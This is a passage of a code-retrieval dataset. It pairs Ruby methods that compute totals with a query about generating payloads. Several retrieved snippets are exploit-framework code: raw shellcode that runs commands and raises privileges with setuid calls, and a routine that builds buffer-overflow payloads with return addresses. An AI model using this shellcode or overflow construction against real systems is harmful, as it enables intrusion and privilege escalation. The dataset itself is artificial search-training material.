end\n\n @lis_packages = Sale::PackageQuotation.where(sale_quotation_id: self.id)\n @lis_packages.each do |package|\n package.quantity.times do\n acum = acum + package.colection_package.total_amount\n end\n end\n return acum\n end", "title": "" }, { "docid": "591c030e9cddff2d5b19f5f15538552f", "score": "0.6841408", "text": "def calculate_total\n t = total_gross\n t = t + 0.001 # in case of x.x499999\n t = (t * 100).round.to_f / 100\n self.total = t\n end", "title": "" }, { "docid": "0166c8c82d89bc0506e97f8f0db34f6f", "score": "0.68371767", "text": "def valor_calorico_total\n\t\tacc_vct = 0\n\n\t\tlista_alimentos.each do |alimento|\n\t\t\tif alimento.instance_of? Alimento\n\t\t\t\tacc_vct += alimento.valor_energetico_alimento\n\t\t\telse\n\t\t\t\traise TypeError, \"Uno de los alimentos de la lista no es de tipo alimento\"\n\t\t\tend\n\t\tend\n\n\t\tacc_vct = acc_vct.round(2)\n\t\tacc_vct\n\tend", "title": "" }, { "docid": "2da5dd61fa489602c498cb894e4477a4", "score": "0.6836826", "text": "def total_tonnage\n sum_from_values(wastes, :total_tonnage, integer: true)\n end", "title": "" }, { "docid": "4d35f06b3b8105fbd5f8478ad9fea66e", "score": "0.6835386", "text": "def grand_total\n 10000\n end", "title": "" }, { "docid": "3b5a77ca11da2292b72630103cc9169c", "score": "0.6834651", "text": "def gramos_totales\n\t\tgramostotales=0\n\t\taux = @gramos.head\n\t\twhile(aux!=nil)\n\t\t\tgramostotales+= aux.value\n\t\t\taux = aux.next\n\t\tend\n\t\tgramostotales.round(1)\n\tend", "title": "" }, { "docid": "3b5a77ca11da2292b72630103cc9169c", "score": "0.6834651", "text": "def gramos_totales\n\t\tgramostotales=0\n\t\taux = @gramos.head\n\t\twhile(aux!=nil)\n\t\t\tgramostotales+= aux.value\n\t\t\taux = aux.next\n\t\tend\n\t\tgramostotales.round(1)\n\tend", "title": "" }, { "docid": "e9f8ad853c73a06362bdb54c5999f4e7", "score": "0.68274146", "text": "def total\n @total = 0\n @products.each_value do |cost|\n @total += cost\n end\n #0.075 represents the sales tax \n @total += @total *= 0.075\n return @total.round(2)\n end", "title": "" }, { "docid": "8b7ea9709748756ba12f6a4dccb3c45e", "score": "0.68229085", "text": "def calcula_valor_total\n self.valor_total = self.valor_frete + self.taxa_despacho + self.taxa_plataforma + self.taxa_plataforma_origem + self.taxa_plataforma_destino + self.taxa_balsa\n end", "title": "" }, { "docid": "2c48a838499f224cebb685f7b38c7da3", "score": "0.6822159", "text": "def total\n if @products.empty?\n return 0\n else\n total = (@products.values.sum * 1.075).round(2)\n end\n return total\n end", "title": "" }, { "docid": "62b5a0134c2cb638b3ab64535833b0f9", "score": "0.68193245", "text": "def total\n @total ||= @counts.inject(0) {|total, (group, count)| total += count}\n end", "title": "" }, { "docid": "00d988ede84ba5c747b6addc26f26ba4", "score": "0.6816288", "text": "def total\n if @products.length > 0\n expected_total = (@products.values.map.reduce(:+)) + (@products.values.map.reduce(:+) *(0.075)).round(2)\n else\n expected_total = 0\n end\n return expected_total\n end", "title": "" }, { "docid": "5daa9ce28af5660265d2be2518b3ecea", "score": "0.68085235", "text": "def total \n @total\n end", "title": "" }, { "docid": "dc229d290b2826a4e456c3c47704c669", "score": "0.6802463", "text": "def cuantas_casas_hoteles_tengo\n total = 0\n \n @propiedades.each do |p|\n total = total + (p.casilla.numHoteles + p.casilla.numCasas)\n end\n \n total\n \n end", "title": "" }, { "docid": "1bfb1494ba31eaaaffd6d64443d0708d", "score": "0.68020964", "text": "def total\n ((apply_rules(sum)).to_f / 100).to_f\n end", "title": "" }, { "docid": "100a0f0cfdf60c194548c9dac62e006e", "score": "0.68016356", "text": "def gastoEnergeticoTotal()\n (self.gastoEnergeticoBasal() + self.efectoTermogeno() + self.gastoActividadFisica()).round(2)\n end", "title": "" }, { "docid": "ffd601a48b1b5029384a82aee55d968c", "score": "0.6795148", "text": "def somma\n s = 0\n bills.inject(0) {|s,r| s += r.totale }\n \tend", "title": "" }, { "docid": "0ff815eeecfe02055bb99612423c2a04", "score": "0.678771", "text": "def GEI_total\n\t\tr = 0\n n = @alimentos.head\n i = @gramos.head\n\n while !n.nil?\n\n r += ((n.value.gei)*(i.value/100))\n n = n.next\n i = i.next\n end\n\n\t\t\n\n return (r).round(2)\n\tend", "title": "" }, { "docid": "9c6dfa2473616b5a5bfff18a6eaf9043", "score": "0.67850155", "text": "def total\n total = 0\n self.items.each do |item|\n total += item.price\n end\n self.total_cents = total\n end", "title": "" }, { "docid": "8b223644e1422cda83e876e40132dcf0", "score": "0.678419", "text": "def total_valor_items\n items.sum(:total_price)\n end", "title": "" }, { "docid": "0b57200d0d7bd7eccc67e051631acf91", "score": "0.67832357", "text": "def total_calcium\n\t\tmy_meals.to_a.sum { |item| item.total_calcium }\n\tend", "title": "" }, { "docid": "ca29ce04a8fb25ab14ce3a9c71cba5d3", "score": "0.6780038", "text": "def total\n return @products.sum { |product, price| price * 1.075 }.round(2)\n end", "title": "" }, { "docid": "ac7db82211b6d0a4f17cf319425b4159", "score": "0.67738205", "text": "def total_cents\n sum = 0\n @counter.each do |k, v|\n sum += item_price(v, @pricing_rules[k])\n end\n sum\n end", "title": "" }, { "docid": "a0fe5726ad3d6c15df5e217ed5b9bc0a", "score": "0.67731625", "text": "def adicionar_total\n sum = 0\n inventario_detalles.each do |v|\n begin\n unless v.marked_for_destruction?\n sum += v.precio_unitario * v.cantidad\n end\n rescue\n end\n end\n self.total = sum\n end", "title": "" }, { "docid": "a0fe5726ad3d6c15df5e217ed5b9bc0a", "score": "0.67731625", "text": "def adicionar_total\n sum = 0\n inventario_detalles.each do |v|\n begin\n unless v.marked_for_destruction?\n sum += v.precio_unitario * v.cantidad\n end\n rescue\n end\n end\n self.total = sum\n end", "title": "" }, { "docid": "0d3086f4d47eaa765fd77a58fc95c9ba", "score": "0.6768667", "text": "def total\n t = Money.new(0)\n self.items.each do |ii| \n t += ii.cost \n end \n t\n end", "title": "" }, { "docid": "efc9d85727f0e78501249341d879f5b7", "score": "0.67628443", "text": "def heures_total\n tot = 0\n self.paies.each do |p|\n tot = tot + p.heures\n end\n return tot\n end", "title": "" }, { "docid": "1de457cd8b1c3455b1f88b976ae4c32a", "score": "0.6762573", "text": "def gases_total\n\t\tsuma = 0\n\n\t\t@gases.each do |i|\n\t\t\tsuma += i\n\t\tend\n\n\t\tsuma = suma.round(2)\n\tend", "title": "" }, { "docid": "188c8dfe2af07b8bc4b87ba895e1309e", "score": "0.67624205", "text": "def calories\n total_calories = 0.0\n self.ingredients.each do |ingredient|\n total_calories += ingredient.calories.to_f\n end\n total_calories\n end", "title": "" }, { "docid": "ca670372fe5a2c8d9258fbba29bef8f2", "score": "0.6754549", "text": "def total\n \"%.2f\" % @total\n end", "title": "" }, { "docid": "f138f67ecb25c3419934cb3fe40ba95a", "score": "0.6749982", "text": "def monto_total\n desgloses.inject(0) { |sum, d| sum += d.monto_total }\n end", "title": "" }, { "docid": "20b0ac7141bb7937dbf8e4fb6faed0bb", "score": "0.6743463", "text": "def subtotal\n amount = 0\n items.each { |item| amount += item.total }\n amount\n end", "title": "" }, { "docid": "697ed370e39248fe171d03cec776324f", "score": "0.67430955", "text": "def total\n @pricing_entries.inject(0) do |total_price, pricing_entry|\n number_of_items = @items.count(pricing_entry.product_code)\n\n number_of_volume_groups, number_of_singles = divide_items(number_of_items, pricing_entry.volume_quantity)\n total_price + (number_of_volume_groups * pricing_entry.volume_price) + (pricing_entry.unit_price * number_of_singles)\n end\n end", "title": "" }, { "docid": "f23f6bc4600fba0fe39ce8d123994320", "score": "0.6738017", "text": "def promedio(notas)\n suma = 0\n notas.each do |nota|\n suma += nota.to_f\n end\n suma / notas.count\nend", "title": "" }, { "docid": "afd1c020c1db4c4349093644c1000adf", "score": "0.6735724", "text": "def total\n items.inject(0.0){|sum, item| sum += (item.price_amount.to_f * item.quantity) }\n end", "title": "" }, { "docid": "661bc95373e255fa8a720394a4844199", "score": "0.6735224", "text": "def total\n @total = 0.0\n for item in @items\n @total += (item.quantity * item.unit_price)\n end\n return @total\n end", "title": "" }, { "docid": "bca508c2e15c182119f3ceae27d75aed", "score": "0.6732535", "text": "def total_bill\n @total_bill = (@bill * (1 + @tip/100.0)*100.0).ceil.to_i\n @total_bill = @total_bill/100.0\n end", "title": "" }, { "docid": "42f2b364d75d4a9f0f93ec099f4d9da1", "score": "0.6731629", "text": "def sum\n compute_stats :sum\n end", "title": "" }, { "docid": "58d1db3f9f7417f664766f66d8828e50", "score": "0.6726758", "text": "def total\n self.line_items.inject(0) {|result, line_item| result + line_item.total}\n end", "title": "" }, { "docid": "af5636ba7c904d883d1341e5d75e6905", "score": "0.6725431", "text": "def total\n expected_total = 0\n products.values.each do |price|\n expected_total = expected_total + price\n end\n expected_total = (expected_total * 1.075).round(2)\n return expected_total\n end", "title": "" }, { "docid": "303a4ce597548840b39e18d50945a3f5", "score": "0.67211634", "text": "def total_value\n @items.inject(0) do |total, items|\n total += items.compute_total_value\n end\n end", "title": "" }, { "docid": "d333581b07854c6d2e4035668de5b14c", "score": "0.6719542", "text": "def kcal_total\n kcal_glucidos + kcal_lipidos + kcal_proteinas\n end", "title": "" }, { "docid": "1245c9373bbcbbd9bbc425ed69429068", "score": "0.6718651", "text": "def calculate_total\n self.order_items.map { |item| item.total }.sum\n end", "title": "" }, { "docid": "483442495cf8bd1287ffbd21dc042f15", "score": "0.6704833", "text": "def sum\n sum = 0\n self.items_counts.all.each { |count| sum += count.count*count.item.price }\n return sum \n end", "title": "" }, { "docid": "2d1cad6dae3166b838484193f3ff8384", "score": "0.6704511", "text": "def total\n @data.inject(0) { |sum, item| sum += item[:value]; sum }\n end", "title": "" }, { "docid": "8e5db40ebe36ec2570a4a5ea59e07383", "score": "0.67041904", "text": "def total \n lifters.map {|l| l.lift_total}.sum\n end", "title": "" } ]
47f9464e1104a7168a22bf5f4b9e52ed
Generate the payload if stuff was provided
[ { "docid": "54282a05581ba007cc88d6d6f0a074fa", "score": "0.6671365", "text": "def generate_payload\n payload = {}\n payload[:channel] = self.channel unless self.channel.nil?\n payload[:username] = self.username unless self.username.nil?\n payload[:icon_url] = self.icon_url unless self.icon_url.nil?\n payload[:icon_emoji] = self.icon_emoji unless self.icon_emoji.nil?\n payload[:text] = self.text unless self.text.nil?\n payload[:attachments] = self.attachments unless self.attachments.empty?\n\n payload\n end", "title": "" } ]
[ { "docid": "29626d770ff7c4036a911ca7b1f68b22", "score": "0.6952139", "text": "def generate_payload\n if platform == \"java\" or arch == \"java\" or payload.start_with? \"java/\"\n generate_java_payload\n else\n raw_payload = generate_raw_payload\n raw_payload = add_shellcode(raw_payload)\n encoded_payload = encode_payload(raw_payload)\n encoded_payload = prepend_nops(encoded_payload)\n format_payload(encoded_payload)\n end\n end", "title": "" }, { "docid": "9a0ce9b38244330278164141f8367ec9", "score": "0.68495095", "text": "def generate_payload\n if platform == \"java\" or arch == \"java\" or payload.start_with? \"java/\"\n raw_payload = generate_java_payload\n cli_print \"Payload size: #{raw_payload.length} bytes\"\n gen_payload = raw_payload\n elsif payload.start_with? \"android/\" and not template.blank?\n cli_print \"Using APK template: #{template}\"\n apk_backdoor = ::Msf::Payload::Apk.new\n raw_payload = apk_backdoor.backdoor_apk(template, generate_raw_payload)\n cli_print \"Payload size: #{raw_payload.length} bytes\"\n gen_payload = raw_payload\n else\n raw_payload = generate_raw_payload\n raw_payload = add_shellcode(raw_payload)\n\n if encoder != nil and encoder.start_with?(\"@\")\n encoded_payload = multiple_encode_payload(raw_payload)\n else\n encoded_payload = encode_payload(raw_payload)\n end\n encoded_payload = prepend_nops(encoded_payload)\n cli_print \"Payload size: #{encoded_payload.length} bytes\"\n gen_payload = format_payload(encoded_payload)\n end\n\n if gen_payload.nil?\n raise PayloadGeneratorError, 'The payload could not be generated, check options'\n elsif gen_payload.length > @space and not @smallest\n raise PayloadSpaceViolation, 'The payload exceeds the specified space'\n else\n if format.to_s != 'raw'\n cli_print \"Final size of #{format} file: #{gen_payload.length} bytes\"\n end\n\n gen_payload\n end\n end", "title": "" }, { "docid": "7765091d81a0514b90f8ae6ca1fd209c", "score": "0.6615303", "text": "def generate_payload(payload)\n if @format == :xml\n Gyoku.xml(payload)\n else\n MultiJson.dump(payload)\n end\n end", "title": "" }, { "docid": "22ceb095cf16e9afb7888258ce155f4b", "score": "0.65990305", "text": "def generate_raw_payload\n if payload == 'stdin'\n if arch.blank?\n raise IncompatibleArch, \"You must select an arch for a custom payload\"\n elsif platform.blank?\n raise IncompatiblePlatform, \"You must select a platform for a custom payload\"\n end\n stdin\n else\n payload_module = framework.payloads.create(payload)\n\n chosen_platform = choose_platform(payload_module)\n if chosen_platform.platforms.empty?\n raise IncompatiblePlatform, \"The selected platform is incompatible with the payload\"\n end\n\n chosen_arch = choose_arch(payload_module)\n unless chosen_arch\n raise IncompatibleArch, \"The selected arch is incompatible with the payload\"\n end\n\n payload_module.generate_simple(\n 'Format' => 'raw',\n 'Options' => datastore,\n 'Encoder' => nil,\n 'MaxSize' => @space,\n 'DisableNops' => true\n )\n end\n end", "title": "" }, { "docid": "7ce84f7cae6b3f5e0760b43134976fff", "score": "0.6598415", "text": "def generate_raw_payload\n if payload == 'stdin'\n if arch.blank?\n raise IncompatibleArch, \"You must select an arch for a custom payload\"\n elsif platform.blank?\n raise IncompatiblePlatform, \"You must select a platform for a custom payload\"\n end\n stdin\n else\n payload_module = framework.payloads.create(payload)\n\n chosen_platform = choose_platform(payload_module)\n if chosen_platform.platforms.empty?\n raise IncompatiblePlatform, \"The selected platform is incompatible with the payload\"\n end\n\n chosen_arch = choose_arch(payload_module)\n unless chosen_arch\n raise IncompatibleArch, \"The selected arch is incompatible with the payload\"\n end\n\n payload_module.generate_simple(\n 'Format' => 'raw',\n 'Options' => datastore,\n 'Encoder' => nil\n )\n end\n end", "title": "" }, { "docid": "c300a2be6643578ec704bc0711062429", "score": "0.6391957", "text": "def build_request_payload(params)\n params\n end", "title": "" }, { "docid": "56c44e80aa0801888d3e54ead86dd2d9", "score": "0.63577557", "text": "def internal_generate\n\t\t# Build the payload, either by using the raw payload blob defined in the\n\t\t# module or by actually assembling it\n\t\traw = build(payload, assembly, offsets, '-stg0')\n\n\t\t# If the payload is generated and there are offsets to substitute,\n\t\t# do that now.\n\t\tif (raw and offsets)\n\t\t\tsubstitute_vars(raw, offsets)\n\t\tend\n\n\t\treturn raw\n\tend", "title": "" }, { "docid": "2716cb53f4640a44ff38d623b4ae77f1", "score": "0.62468725", "text": "def general_payload\n payload = Hash.new\n payload['PayloadVersion'] = 1 # do not modify\n payload['PayloadUUID'] = UUIDTools::UUID.random_create().to_s # should be unique\n\n # string that show up in UI, customisable\n payload['PayloadOrganization'] = \"TONE Mobile\"\n payload\nend", "title": "" }, { "docid": "15417d63b76afdbfbdaa8fb3f36a30f1", "score": "0.620866", "text": "def payloads; end", "title": "" }, { "docid": "642dec9f95d28c17d5be8380702b63e2", "score": "0.61943066", "text": "def payload; end", "title": "" }, { "docid": "642dec9f95d28c17d5be8380702b63e2", "score": "0.61943066", "text": "def payload; end", "title": "" }, { "docid": "642dec9f95d28c17d5be8380702b63e2", "score": "0.61943066", "text": "def payload; end", "title": "" }, { "docid": "642dec9f95d28c17d5be8380702b63e2", "score": "0.61943066", "text": "def payload; end", "title": "" }, { "docid": "642dec9f95d28c17d5be8380702b63e2", "score": "0.61943066", "text": "def payload; end", "title": "" }, { "docid": "642dec9f95d28c17d5be8380702b63e2", "score": "0.61943066", "text": "def payload; end", "title": "" }, { "docid": "642dec9f95d28c17d5be8380702b63e2", "score": "0.61943066", "text": "def payload; end", "title": "" }, { "docid": "5be08fe47643565cb50de7db4e0d9140", "score": "0.6177475", "text": "def payload=(_arg0); end", "title": "" }, { "docid": "5be08fe47643565cb50de7db4e0d9140", "score": "0.6177475", "text": "def payload=(_arg0); end", "title": "" }, { "docid": "5be08fe47643565cb50de7db4e0d9140", "score": "0.6177475", "text": "def payload=(_arg0); end", "title": "" }, { "docid": "5be08fe47643565cb50de7db4e0d9140", "score": "0.6177475", "text": "def payload=(_arg0); end", "title": "" }, { "docid": "5be08fe47643565cb50de7db4e0d9140", "score": "0.6177475", "text": "def payload=(_arg0); end", "title": "" }, { "docid": "5be08fe47643565cb50de7db4e0d9140", "score": "0.6177475", "text": "def payload=(_arg0); end", "title": "" }, { "docid": "77d909cdb9653d9e5eed0e7b17a7c3d3", "score": "0.61766434", "text": "def payload(type)\n payload = {\n sku: FFaker::Product.model,\n externalId: FFaker::Product.model,\n description: FFaker::Product.product,\n category: \"OTHER\",\n batteryConfiguration: \"NOBATTERY\",\n values: {\n costValue: 1,\n retailValue: 4\n },\n dimensions: {\n length: 1,\n width: 1,\n height: 1,\n weight: 1\n },\n flags: {\n isPackagedReadyToShip: 1,\n isFragile: 0,\n isDangerous: 0,\n isPerishable: 0,\n isLiquid: 0,\n isMedia: 0,\n isAdult: 0,\n hasInnerPack: 0,\n hasMasterCase: 0,\n hasPallet: 0\n }\n }\n\n # First of all, to create a Kit or Virtual Kit, the base products HAVE\n # to exist. They will not be created here. Kits require 2 ore more\n # products.\n # Next, `externalId` is NOT the same as the product SKU. An externalId\n # currently cannot be set using the Shipwire website. It can only be\n # set by creating a product through the API or updating an existing\n # product using the API and setting a value for externalID.\n # Otherwise instead of `externalID` you can use `productID` which is\n # the unique Shipwire ID for that product\n product_contents = [\n {\n externalId: \"TEST-PRODUCT\",\n quantity: 1\n },\n {\n externalId: \"TEST-PRODUCT2\",\n quantity: 1\n }\n ]\n\n case type\n when \"insert\"\n payload.deeper_merge!(\n dimensions: {\n height: 0.1,\n weight: 0.1\n },\n masterCase: {\n individualItemsPerCase: 1,\n sku: FFaker::Product.model,\n description: FFaker::Product.product,\n dimensions: {\n length: 1,\n width: 1,\n height: 1,\n weight: 1\n }\n },\n inclusionRules: {\n insertWhenWorthCurrency: \"USD\"\n }\n )\n when \"kit\"\n payload.deeper_merge!(kitContent: product_contents)\n\n when \"virtual_kit\"\n payload.deeper_merge!(virtualKitContent: product_contents)\n end\n\n payload\n end", "title": "" }, { "docid": "55c71679cc23c25593997b0a1660b27d", "score": "0.61211073", "text": "def generate_payload_type; end", "title": "" }, { "docid": "c50134f5aa02cff9ac259a2a8caeb3e9", "score": "0.6104781", "text": "def make_payload(code, payload)\n [code].concat(payload)\n end", "title": "" }, { "docid": "af644452ab6b746d2ebfc5b26e6f6f31", "score": "0.6020978", "text": "def generate_payload\n # Parse the issue name\n payload = {:title => title}\n payload[:body] = body\n payload[:labels] = labels\n @payload = JSON.generate(payload)\n end", "title": "" }, { "docid": "aa8c4fbed010bfb4b98eff6c35a2368c", "score": "0.59955543", "text": "def generate_payload(pinst = nil)\n # Set the encoded payload to the result of the encoding process\n self.payload = generate_single_payload(pinst)\n\n # Save the payload instance\n self.payload_instance = (pinst) ? pinst : self.payload_instance\n\n return self.payload\n end", "title": "" }, { "docid": "c46febe441537fde104d6277e5913015", "score": "0.5986761", "text": "def generate\n\t\tsay = (datastore['TEXT'] || '') << \"\\x00\"\n\t\tcall = \"\\xe8\" + [say.length + 0xd].pack('V')\n\n\t\tpayload =\n\t\t\t\"\\x48\\x31\\xC0\" + # xor rax,rax\n\t\t\t\"\\xB8\\x3B\\x00\\x00\\x02\" + # mov eax,0x200003b\n\t\t\tcall +\n\t\t\t\"/usr/bin/say\\x00\" +\n\t\t\tsay +\n\t\t\t\"\\x48\\x8B\\x3C\\x24\" + # mov rdi,[rsp]\n\t\t\t\"\\x4C\\x8D\\x57\\x0D\" + # lea r10,[rdi+0xd]\n\t\t\t\"\\x48\\x31\\xD2\" + # xor rdx,rdx\n\t\t\t\"\\x52\" + # push rdx\n\t\t\t\"\\x41\\x52\" + # push r10\n\t\t\t\"\\x57\" + # push rdi\n\t\t\t\"\\x48\\x89\\xE6\" + # mov rsi,rsp\n\t\t\t\"\\x0F\\x05\" # loadall286\n\tend", "title": "" }, { "docid": "7469977e1c39ed0b1c633749ef608b51", "score": "0.5983166", "text": "def generate_cmds_payload(opts)\n\n # First encode the payload\n encoded = encode_payload(opts)\n\n # Now split it up into usable pieces\n parts = slice_up_payload(encoded, opts)\n\n # Turn each part into a valid command\n parts_to_commands(parts, opts)\n end", "title": "" }, { "docid": "1fd99625d956c14179cfaa50b7f989f3", "score": "0.5877478", "text": "def generate\n\t\tcmd = datastore['CMD'] || ''\n\t\tpayload =\n\t\t\t\"\\x31\\xc0\\x50\"+\n\t\t\tRex::Arch::X86.call(cmd.length + 1) + cmd +\n\t\t\t\"\\x00\\x5e\\x89\\xe7\\xb9\\x1e\\x00\" +\n\t\t\t\"\\x00\\x00\\xfc\\xf2\\xa4\\x89\\xe3\\x50\" +\n\t\t\t\"\\x50\\x53\\xb0\\x3b\\x50\\xcd\\x80\"\n\tend", "title": "" }, { "docid": "1e354cbfd7925dccfcd9f67131276664", "score": "0.5842457", "text": "def append_info_to_payload(payload)\n super\n payload[:host] = request.host\n payload[:community_id] = Maybe(@current_community).id.or_else(\"\")\n payload[:current_user_id] = Maybe(@current_user).id.or_else(\"\")\n payload[:request_uuid] = request.uuid\n end", "title": "" }, { "docid": "1e354cbfd7925dccfcd9f67131276664", "score": "0.5842457", "text": "def append_info_to_payload(payload)\n super\n payload[:host] = request.host\n payload[:community_id] = Maybe(@current_community).id.or_else(\"\")\n payload[:current_user_id] = Maybe(@current_user).id.or_else(\"\")\n payload[:request_uuid] = request.uuid\n end", "title": "" }, { "docid": "f79f36bd78a535f072d3522d7ef0e91b", "score": "0.58353186", "text": "def generate(raw = nil)\n self.raw = raw\n self.encoded = nil\n self.nop_sled_size = 0\n self.nop_sled = nil\n self.encoder = nil\n self.nop = nil\n\n # Increase thread priority as necessary. This is done\n # to ensure that the encoding and sled generation get\n # enough time slices from the ruby thread scheduler.\n priority = Thread.current.priority\n\n if (priority == 0)\n Thread.current.priority = 1\n end\n\n begin\n # First, validate\n pinst.validate()\n\n # Propagate space information when set\n unless self.space.nil?\n # Tell the payload how much space is available\n pinst.available_space = self.space\n # Reserve 10% of the available space if encoding is required\n pinst.available_space -= (self.space * 0.1).ceil if needs_encoding\n end\n\n # Generate the raw version of the payload first\n generate_raw() if self.raw.nil?\n\n # If encoder is set, it could be an encoders list\n # The form is \"<encoder>:<iteration>, <encoder2>:<iteration>\"...\n if reqs['Encoder']\n encoder_str = reqs['Encoder']\n encoder_str.scan(/([^:, ]+):?([^,]+)?/).map do |encoder_opt|\n reqs['Encoder'] = encoder_opt[0]\n\n self.iterations = (encoder_opt[1] || reqs['Iterations']).to_i\n self.iterations = 1 if self.iterations < 1\n\n # Encode the payload with every encoders in the list\n encode()\n # Encoded payload is now the raw payload to be encoded by the next encoder\n self.raw = self.encoded\n end\n else\n self.iterations = reqs['Iterations'].to_i\n self.iterations = 1 if self.iterations < 1\n # No specified encoder, let BadChars or ForceEncode do their job\n encode()\n end\n\n # Build the NOP sled\n generate_sled()\n\n # Finally, set the complete payload definition\n self.encoded = (self.nop_sled || '') + self.encoded\n ensure\n # Restore the thread priority\n Thread.current.priority = priority\n end\n\n # Return the complete payload\n return encoded\n end", "title": "" }, { "docid": "6b59b2f82210e20a7403622411d7d8ce", "score": "0.58287024", "text": "def generate(*args)\n\t\t# Call the real generator to get the payload\n\t\tbuf = super(*args)\n\t\tpre = ''\n\t\tapp = ''\n\n\t\ttest_arch = [ *(self.arch) ]\n\n\t\t# Handle all x86 code here\n\t\tif (test_arch.include?(ARCH_X86))\n\n\t\t\t# Prepend\n\n\t\t\tif (datastore['PrependSetresuid'])\n\t\t\t\t# setresuid(0, 0, 0)\n\t\t\t\tpre << \"\\x31\\xc0\" +# xorl %eax,%eax #\n\t\t\t\t \"\\x50\" +# pushl %eax #\n\t\t\t\t \"\\x50\" +# pushl %eax #\n\t\t\t\t \"\\x50\" +# pushl %eax #\n\t\t\t\t \"\\x50\" +# pushl %eax #\n\t\t\t\t \"\\x66\\xb8\\x37\\x01\" +# movw $0x0137,%ax #\n\t\t\t\t \"\\xcd\\x80\" # int $0x80 #\n\t\t\tend\n\n\t\t\tif (datastore['PrependSetreuid'])\n\t\t\t\t# setreuid(0, 0)\n\t\t\t\tpre << \"\\x31\\xc0\" +# xorl %eax,%eax #\n\t\t\t\t \"\\x50\" +# pushl %eax #\n\t\t\t\t \"\\x50\" +# pushl %eax #\n\t\t\t\t \"\\x50\" +# pushl %eax #\n\t\t\t\t \"\\xb0\\x7e\" +# movb $0x7e,%al #\n\t\t\t\t \"\\xcd\\x80\" # int $0x80 #\n\t\t\tend\n\n\t\t\tif (datastore['PrependSetuid'])\n\t\t\t\t# setuid(0)\n\t\t\t\tpre << \"\\x31\\xc0\" +# xorl %eax,%eax #\n\t\t\t\t \"\\x50\" +# pushl %eax #\n\t\t\t\t \"\\x50\" +# pushl %eax #\n\t\t\t\t \"\\xb0\\x17\" +# movb $0x17,%al #\n\t\t\t\t \"\\xcd\\x80\" # int $0x80 #\n\t\t\tend\n\n\t\t\t# Append\n\n\t\t\tif (datastore['AppendExit'])\n\t\t\t\t# exit(0)\n\t\t\t\tapp << \"\\x31\\xc0\" +# xorl %eax,%eax #\n\t\t\t\t \"\\x50\" +# pushl %eax #\n\t\t\t\t \"\\xb0\\x01\" +# movb $0x01,%al #\n\t\t\t\t \"\\xcd\\x80\" # int $0x80 #\n\t\t\tend\n\n\t\tend\n\n\t\treturn (pre + buf + app)\n\tend", "title": "" }, { "docid": "833f57f637ff4be5e3484f56adfc34a8", "score": "0.5806086", "text": "def build_payload(target)\r\n target_name = \"#{target[:version]}-#{target[:os]}-#{target[:arch]}\"\r\n selected = TARGET_MATRIX[target_name]\r\n unless selected\r\n MiscUtils::myputs \"Target not available, check User-Agent format!\"\r\n MiscUtils::myputs target_name\r\n return ''\r\n end\r\n \r\n MiscUtils::myputs \"Building payload for '#{target_name}'...\"\r\n MiscUtils::myputs \"Return address: #{sprintf(\"0x%08x\",selected[:ret_address])}, \" +\r\n \"shellcode: #{selected[:shellcode].size} bytes.\"\r\n \r\n payload = String.rand_alpha(selected[:padding_size]-selected[:shellcode].size)\r\n \r\n unless target[:os] =~ /Windows/\r\n payload << selected[:shellcode]\r\n payload << selected[:prepend_data]\r\n \r\n # Handle big-endian / little-endian\r\n if target[:arch] == \"PPC\"\r\n payload << [selected[:ret_address]].pack(\"N\")\r\n else\r\n payload << [selected[:ret_address]].pack(\"V\")\r\n end\r\n else\r\n payload << selected[:prepend_data]\r\n payload << [selected[:ret_address]].pack(\"V\")\r\n payload << selected[:shellcode]\r\n end\r\n \r\n # Appended data comes always at end of payload\r\n payload << selected[:append_data]\r\n \r\n MiscUtils::myputs \"Payload: #{payload.size} bytes (padding=#{payload[0,8]}...)\"\r\n \r\n return payload\r\n end", "title": "" }, { "docid": "610b317dfdc9f34635b70de3a47d3780", "score": "0.5786295", "text": "def generate\n\t\tcmd = (datastore['CMD'] || '') << \"\\x00\"\n\t\tcall = \"\\xe8\" + [cmd.length].pack('V')\n\n\t\tpayload = \n\t\t\t \"\\x48\\x31\\xFF\" + # xor rdi,rdi\n\t\t\t \"\\x57\" + # push rdi\n\t\t\t \"\\x48\\x89\\xE6\" + # mov rsi,rsp\n\t\t\t \"\\x6A\\x04\" + # push byte +0x4\n\t\t\t \"\\x5A\" + # pop rdx\n\t\t\t \"\\x48\\x8D\\x4A\\xFE\" + # lea rcx,[rdx-0x2]\n\t\t\t \"\\x4D\\x31\\xC0\" + # xor r8,r8\n\t\t\t \"\\x4D\\x31\\xC9\" + # xor r9,r9\n\t\t\t \"\\x48\\xFF\\xCF\" + # dec rdi\n\t\t\t \"\\x48\\xFF\\xC7\" + # inc rdi\n\t\t\t \"\\xB8\\x1D\\x00\\x00\\x02\" + # mov eax,0x200001d\n\t\t\t \"\\x0F\\x05\" + # loadall286\n\t\t\t \"\\x81\\x3C\\x24\" + # cmp dword [rsp],0x4e454d4f\n\t\t\t datastore['TAG'] + \n\t\t\t \"\\x75\\xED\" + # jnz 0x17\n\t\t\t \"\\x48\\x31\\xC9\" + # xor rcx,rcx\n\t\t\t \"\\xB8\\x1D\\x00\\x00\\x02\" + # mov eax,0x200001d\n\t\t\t \"\\x0F\\x05\" + # loadall286\n\t\t\t \"\\xB8\\x5A\\x00\\x00\\x02\" + # mov eax,0x200005a\n\t\t\t \"\\x48\\x31\\xF6\" + # xor rsi,rsi\n\t\t\t \"\\x0F\\x05\" + # loadall286\n\t\t\t \"\\xB8\\x5A\\x00\\x00\\x02\" + # mov eax,0x200005a\n\t\t\t \"\\x48\\xFF\\xC6\" + # inc rsi\n\t\t\t \"\\x0F\\x05\" + # loadall286\n\t\t\t \"\\x48\\x31\\xC0\" + # xor rax,rax\n\t\t\t \"\\xB8\\x3B\\x00\\x00\\x02\" + # mov eax,0x200003b\n\t\t\t call +\n\t\t\t cmd +\n\t\t\t \"\\x48\\x8B\\x3C\\x24\" + # mov rdi,[rsp]\n\t\t\t \"\\x48\\x31\\xD2\" + # xor rdx,rdx\n\t\t\t \"\\x52\" + # push rdx\n\t\t\t \"\\x57\" + # push rdi\n\t\t\t \"\\x48\\x89\\xE6\" + # mov rsi,rsp\n\t\t\t \"\\x0F\\x05\" # loadall286\n\tend", "title": "" }, { "docid": "da603b90f6a3a854d68d4ca8f55c1219", "score": "0.5689214", "text": "def build_payload\n raise SerializationError, \"Internal error: Class #{self.class} does not implement method 'build_payload'\"\n end", "title": "" }, { "docid": "1f7a6b6a3b416280596828006b1540e0", "score": "0.56260234", "text": "def sample_payload\n @helper ? @helper.sample_payload : {}\n end", "title": "" }, { "docid": "483cba5c438505d886663974c9860d52", "score": "0.56083435", "text": "def append_info_to_payload(payload); end", "title": "" }, { "docid": 